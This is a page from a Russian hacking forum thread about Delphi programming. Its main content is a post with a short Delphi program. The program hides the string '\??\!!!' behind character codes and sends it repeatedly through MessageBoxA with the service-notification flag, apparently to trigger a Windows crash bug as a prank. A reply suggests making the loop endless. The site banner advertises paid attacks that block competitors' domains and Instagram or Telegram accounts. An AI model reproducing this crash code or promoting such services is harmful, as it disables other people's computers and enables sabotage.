Как сделать через Delphi

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Как сделать через Delphi

Страница 3 из 3

Опции темы

Поиск в этой теме

Опции просмотра

#21

16.03.2009, 22:09

Scripter

Участник форума

Регистрация: 03.09.2008

Сообщений: 155

С нами: 9308362

Репутация: 236

тс заставляет перепечатывать книгу на форуме
вопрос за вопросом, глава за главой, раздел за разделом...

#22

17.03.2009, 06:30

RumShun

Постоянный

Регистрация: 27.10.2008

Сообщений: 380

С нами: 9231117

Репутация: 149

Цитата:

Как заменить ICO в "exe" файле?

Project->Options...->Application->Load icon

#23

17.03.2009, 07:13

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

Код:

program Msg;

{$IMAGEBASE $200}

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
  external 'user32.dll' name 'MessageBoxA';

var
  Bug: PChar;
  I: Integer;
begin
  Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
  for i := 0 to 50 do
    MessageBox(0, Bug, Bug, $20000);
end.

#24

17.03.2009, 15:35

][yZ

Познающий

Регистрация: 03.03.2009

Сообщений: 62

С нами: 9047413

Репутация: 106

Цитата:

Сообщение от BlackSun

Код:

  for i := 0 to 50 do

а почему же не while true do ???

Страница 3 из 3

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
F.A.Q по Пранку	Nightmarе	Статьи	43	28.03.2010 10:55
Как стать админом ICQ (c) yarrak	InfernoNet	Болталка	77	06.08.2009 15:15
Как сделать сниффер??? Помогите!!!	GooF	PHP	13	25.05.2005 05:18

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход